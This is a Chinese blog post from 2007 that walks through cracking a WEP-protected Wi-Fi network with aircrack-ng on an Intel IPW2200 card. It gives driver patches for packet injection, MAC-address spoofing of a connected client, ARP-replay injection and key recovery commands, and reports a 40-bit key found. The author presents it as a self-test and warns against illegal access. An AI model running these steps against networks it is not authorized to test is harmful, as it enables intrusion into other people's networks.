2007/05/07

基于迅驰芯片破解WEP

你应该知道,WEP已经被证实为不安全的加密方式,但事实上它仍在被广泛使用,包括在我自己的工作场所和家(最近才把家里的Wi-Fi安全设置从104位WEP修改为WPA1/TKIP)。那么WEP的安全性到底如何,或者说对于用户破解WEP的难度有多大,决定自己做一个测试。

在进入下面的内容之前声明一点,非法接入他人的网络是不道德和非法的。

使用的最主要的工具叫做aircrack-ng(ng是下一代的意思),aircrack-ng是一个破解802.11网络的工具套件,包括airodump-ng、aireplay-ng、aircrack-ng、airmon-ng等。aircrack-ng的基本原理是首先收集足够多的加密数据包,然后通过统计学计算恢复WEP口令。对于40位WEP通常需要30万个IVs(Initialization Vector),对于104位WEP则需要150-200万个IVs。2007年4月25日,aircrack-ng 0.8版本发布。

环境:
目标AP:11频道,BSSID是00:0f:e2:xx:xx:xx;
无线网络客户端:我使用的是奔腾M处理器和Intel PRO/Wireless 2200BG(IPW2200),客户端的MAC地址是00:12:f0:xx:xx:xx。如果你在使用酷睿2和IPW3945,那么你需要采用不同的方法。事实上,aircrack-ng不能很好的和迅驰芯片一起工作。如果你的无线网卡使用Atheros芯片,那么你的困难会少很多。

由于airodump-ng在Windows下使用的驱动程序PEEK不支持迅驰,所以需要一个Linux操作系统环境。我使用的是Ubuntu 6.06 LTS。另外,你还需要一个辅助用的AP(通常选自己的那一台,事先取消它的安全设置,并让它同样工作在11频道),和一个凉爽的夜晚(开个玩笑,我是说需要有活跃客户端在使用目标AP,那通常是在晚饭后)。

下面进入正题,首先安装所需系统组件:

sudo apt-get update
sudo apt-get install build-essential


下载所需程序和补丁,解压,安装:
wget http://superb-west.dl.sourceforge.net/sourceforge/ieee80211/ieee80211-1.2.17.tar.gz
wget http://superb-west.dl.sourceforge.net/sourceforge/ipw2200/ipw2200-1.2.1.tgz
wget http://www.box.net/shared/j3qvacbbmb
wget http://download.aircrack-ng.org/aircrack-ng-0.8.tar.gz

tar zxvf ieee80211-1.2.17.tar.gz
cd ieee80211-1.2.17
sudo make
sudo make install

cd ..
tar zxvf ipw2200-1.2.1.tgz
tar zxvf ipw2200-1.2.1-inject_patch.tar.gz
patch ipw2200-1.2.1/ipw2200.c ipw2200-1.2.1-inject.patch
patch ipw2200-1.2.1/Makefile ipw2200-1.2.1-inject_Makefile.patch
cd ipw2200-1.2.1
sudo ./remove-old
sudo make
sudo make install

cd ..
tar zxvf aircrack-ng-0.8.tar.gz
cd aircrack-ng-0.8
sudo make
sudo make install


假设通过ifconfig看到无线网卡接口是eth1,下面添加用于监听的rtap接口。另外说一句,在以下的过程中,eth1接口始终处于Managed模式,而不是Monitor模式:
cd ipw2200-1.2.1
sudo rmmod ipw2200
sudo insmod ipw2200.ko rtap_iface=1


今后重启机器后不再需要添加rtap接口,只需要:
sudo rmmod ipw2200
sudo modprobe ipw2200 rtap_iface=1


下面开始一个监听:
sudo airodump-ng rtap0

结果窗口分为上下两个区域,上面是AP,下面是客户端。AP大约每秒钟发射10个beacon frames,你会发现它增长的很快,但那没有用处。当你在下面的区域中发现至少有一个客户端关联到了目标AP,并且在目标AP上已经监听到了一些data包,这就够了。核对目标AP的基本信息,并记下一个关联客户端的MAC地址00:13:02:xx:xx:xx。关闭这个程序。

由于即便在Linux下,IPW2200还是不支持fake authentication(-1攻击),所以下面通过修改MAC地址来伪装那个合法的客户端:
sudo ifconfig eth1 down
sudo ifconfig eth1 hw ether 00:13:02:xx:xx:xx
sudo ifconfig eth1 up
sudo ifconfig rtap0 up


现在用上辅助AP了,把eth1连接到它,你应该不会遇到什么困难,因为这是自己的AP。然后:
sudo iwconfig eth1 key off


最有趣的部分到来了,开始捕捉:
sudo airodump-ng rtap0 -c 11 --bssid 00:0f:e2:xx:xx:xx --ivs -w dump


理论上说,你可以等待捕获的IVs积累到百万数量级,但那会是遥遥无期。幸好aircrack-ng提供了注射工具,主动的做ARP请求重放(-3攻击),它会大大刺激发生的数据量。打开一个新窗口:
sudo aireplay-ng -3 -b 00:0f:e2:xx:xx:xx -h 00:13:02:xx:xx:xx -i rtap0 eth1


如果你做了上面的全部,IV仍旧增长缓慢,很有可能是因为你所伪装的客户端离开了目标AP,那么耐心些稍候再试。

最后,进行破解计算(事实上airodump-ng、aireplay-ng、aircrack-ng可以同时运行)。打开一个新窗口:
aircrack-ng -x dump*.ivs


21分30秒之后,使用364735个IVs,KEY FOUND!这是一个40位WEP。

后话,几个德国学生写的aircrack-ptw可以进一步提升破解的效率,有兴趣的读者可以尝试。当然,aircrack-ptw会在合适的时候并入aircrack-ng项目。

0 块板砖 :